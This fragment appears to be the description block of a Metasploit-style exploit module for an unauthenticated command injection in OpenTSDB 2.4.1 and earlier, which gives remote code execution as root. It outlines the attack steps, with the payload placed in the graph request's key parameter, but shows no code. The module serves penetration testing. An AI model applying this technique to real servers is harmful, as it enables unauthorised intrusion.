        'Description' => %q{
          This module exploits an unauthenticated command injection
          vulnerability in the key parameter in OpenTSDB through
          2.4.1 (CVE-2023-36812/CVE-2023-25826) in order to achieve
          unauthenticated remote code execution as the root user.

          The module first attempts to obtain the OpenTSDB version via
          the api. If the version is 2.4.1 or lower, the module
          performs additional checks to obtain the configured metrics
          and aggregators. It then randomly selects one metric and one
          aggregator and uses those to instruct the target server to
          plot a graph. As part of this request, the key parameter is
          set to the payload, which will then be executed by the target
          if the latter is vulnerable.

          This module has been successfully tested against OpenTSDB
          version 2.4.1.
